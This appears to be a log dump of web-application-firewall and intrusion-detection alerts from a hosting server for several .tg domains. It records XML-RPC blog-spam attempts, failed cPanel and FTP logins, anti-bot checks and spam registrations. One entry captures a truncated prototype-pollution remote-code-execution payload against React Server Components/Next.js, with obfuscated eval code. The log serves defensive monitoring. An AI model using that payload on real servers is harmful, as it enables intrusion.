name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 202.66.164.4
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d63949905b67a6037f5c204cc11c997bc6ca6719||Title:dxgo372g9fw542mh5n||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 202.66.164.4
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:93dab61ac76c15619adac992b92f3fb4d7a3d91f||Title:hzdwg74o013fri8y5||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.246.214.4
country_id: 798544
description:
Jun 19 05:41:35 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.246.214.4 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 202.66.164.4
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:37daf08dddab740f7f6283a2f2840001fe978e76||Title:zmne51p1kmqomh32||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 2.79.41.22
country_id: 1522867
description:
2026-06-19 05:43:09 H=([2.79.41.22]) [2.79.41.22]:45873 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 05:44:25 +0000] info [cpaneld] 185.55.240.13 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 202.66.164.4
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:320b30c16c52d9486c0315c38c343b477dad29af||Title:9e71ppmaqucwyvd1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 202.66.164.4
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d58f022646b6ff7573df6fbfe799d325f3306aaa||Title:6ppg4pyzwptmdh2177||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-19 05:44:49 +0000] info [cpaneld] 102.54.238.57 - cvajhehu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cvajhehu (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:05:45:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:05:45:50 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:05:45:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 202.66.164.4
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d12a030f566a9b7af87b98c283790915abf57539||Title:pf63l70046x4oi1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:05:45:49 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 202.66.164.4
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1371e98f7460309273bac4e4b6535452c351f151||Title:04a4gph6vtxo3g1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 202.66.164.4
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:294529f81b07465bafa624aca20f29311abbcdf2||Title:8hgkn2o4bbv0nccwzl||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 202.66.164.4
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:afc4865c741d9cd88cdc5dba73161563b9654ee6||Title:t0pxw1awdchnajo||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 202.66.164.4
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b9942dcb8ee6de8c245e01f4e3a85b3416a70a8d||Title:en78gy05q9ucs6l||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 05:50:17 +0000] info [cpaneld] 185.55.240.13 - rolle "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user rolle (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.250.184.178
country_id: 2542007
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1957835564 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 05:51:16 +0000] info [cpaneld] 185.55.240.13 - crepsad "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 202.66.164.4
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d1b6485aa3c9c689212e41551c256a0fc72314b3||Title:g6cku5xvruwvymuj||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:05:52:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6448794&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781848336 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.49
country_id: 6252001
description:
205.169.39.49 - - [19/Jun/2026:05:52:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9792662&pdata=http%253A%252F%252Fcrepsad.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781848326 HTTP/1.1" 302 0 crepsad.tg "http://crepsad.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.49


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 45.38.16.204
country_id: 6252001
description:
Jun 19 05:51:28 ns5 pure-ftpd[3603262]: (?@45.38.16.204) [WARNING] Authentication failed for user [rolle]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 202.66.164.4
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:10124a78bc63f0c4b265708ae82c96c9b9ee2354||Title:noujvrk756avi0||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:05:52:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9608040&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781848344 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 202.66.164.4
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5ce97b2dc8dc4a854f9b800d1f77bad9f678b262||Title:7r53hyqr04ztkc||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.169.11.63
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/wp-content/plugins/onesignal-free-web-push-notifications/sdk_files/onesignalsdkworker.js?appid=8efd3276-8d5b-4b62-bbd3-6ed125ca9f51&sdkversion=160404||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 202.66.164.4
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:10c66cb0dbc0e71551290e1f24b9732710954441||Title:1by6u47q0h6ygea||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:05-54.213.32.21.59||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.223.251.147
country_id: 2395170
description:
Jun 19 05:55:13 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.223.251.147 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 202.66.164.4
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7b7e5cb6f72bbff9e7036b4bf9582cfcd11aab98||Title:3ovaxa544ge7yr||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 202.66.164.4
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:953fb2024ec8d362f6b9aa0ac39ffaf7fdadb25a||Title:dygmeonep1k21idp||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.213.71
country_id: 2363686
description:
[2026-06-19 05:57:23 +0000] info [cpaneld] 196.168.213.71 - myxlsnta "GET /cpsess7090208477/frontend/jupiter/email_accounts/index.html HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [196.169.16.242] != Current IP Address [196.168.213.71]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:05:56:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9986715&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781848592 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 202.66.164.4
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2ab8cd342632ab9148d766cad3d8f406950d5bab||Title:u29jcjis6jprzeff3||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.4
country_id: 6252001
description:
205.169.39.4 - - [19/Jun/2026:05:59:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6527596&pdata=http%253A%252F%252Fsia-togo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781848754 HTTP/1.1" 302 0 sia-togo.tg "http://sia-togo.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.4


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 144.124.196.55
country_id: 1512440
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2020/11/IMG-20201114-WA0129.jpg 1080w, http:/togodailynews.tg/wp-content/uploads/2020/11/IMG-20201114-WA0129-300x200.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2020/11/IMG-20201114-WA0129-768x512.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2020/11/IMG-20201114-WA0129-1024x683.jpg 1024w, http:/togodailynews.tg/wp-content/uploads/2020/11/IMG-20201114-WA0129-272x182.jpg 272w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.113.114.61
country_id: 3658394
description:
[2026-06-19 05:59:38 +0000] info [cpaneld] 181.113.114.61 - mesyscomcom "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:06:01:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:06:01:39 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:06:01:45 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:06:01:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: modsec
rule: 77093094
abuser: 34.31.88.250
country_id: 6252001
domain: ns5.netmaster.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"x_66ef159d\":\"8185\",\"status\":\"resolved_model\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"__12c235a0\":\"57bca90e1c86298e\",\"reason\":-1,\"then\":\"$1:__proto__:then\",\"_response\":{\"_prefix\":\"var cfg=arguments[0x1];var xk=cfg;try{var _v=((0,eval)(global[[\\\"Buf\\\",\\\"f\\\",\\\"er\\\


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:06:07:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9858761&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781849244 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:06:07:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6997870&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781849243 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 06:08:00 +0000] info [cpaneld] 185.55.240.13 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 180.2.108.38
country_id: 1861060
domain: c2ie.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:06-08.180.2.108.38||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.82.151.10
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2022/10/WhatsApp-Image-2022-10-15-at-12.34.24-2-1024x683.jpeg 1024w, http:/togodailynews.tg/wp-content/uploads/2022/10/WhatsApp-Image-2022-10-15-at-12.34.24-2-300x200.jpeg 300w, http:/togodailynews.tg/wp-content/uploads/2022/10/WhatsApp-Image-2022-10-15-at-12.34.24-2-768x512.jpeg 768w, http:/togodailynews.tg/wp-content/uploads/2022/10/WhatsApp-Image-2022-10-15-at-12.34.24-2-272x182.jpeg 272w, http:/togodailynews.tg/wp-content/uploads/2022/10/WhatsApp-Image-2022-10-15-at-12.34.24-2.jpeg 1080w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.113.114.61
country_id: 3658394
description:
[2026-06-19 06:10:53 +0000] info [cpaneld] 181.113.114.61 - mesyscomcom "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:06:12:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6855574&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781849537 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 162.252.54.158
country_id: 6252001
domain: www.letabloid.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:06-12.162.252.54.158||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 162.252.54.158
country_id: 6252001
domain: www.letabloid.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:madiemoseley550||Email:madie-madie2@wubova.supermail.space||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 46.8.23.176
country_id: 2017370
domain: belali.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:06-15.46.8.23.176||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 46.8.23.176
country_id: 2017370
domain: belali.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:3994194625327||Email:pe.rsai.t.o.v22@gmail.com||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:06:17:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:06:17:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:06:17:11 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
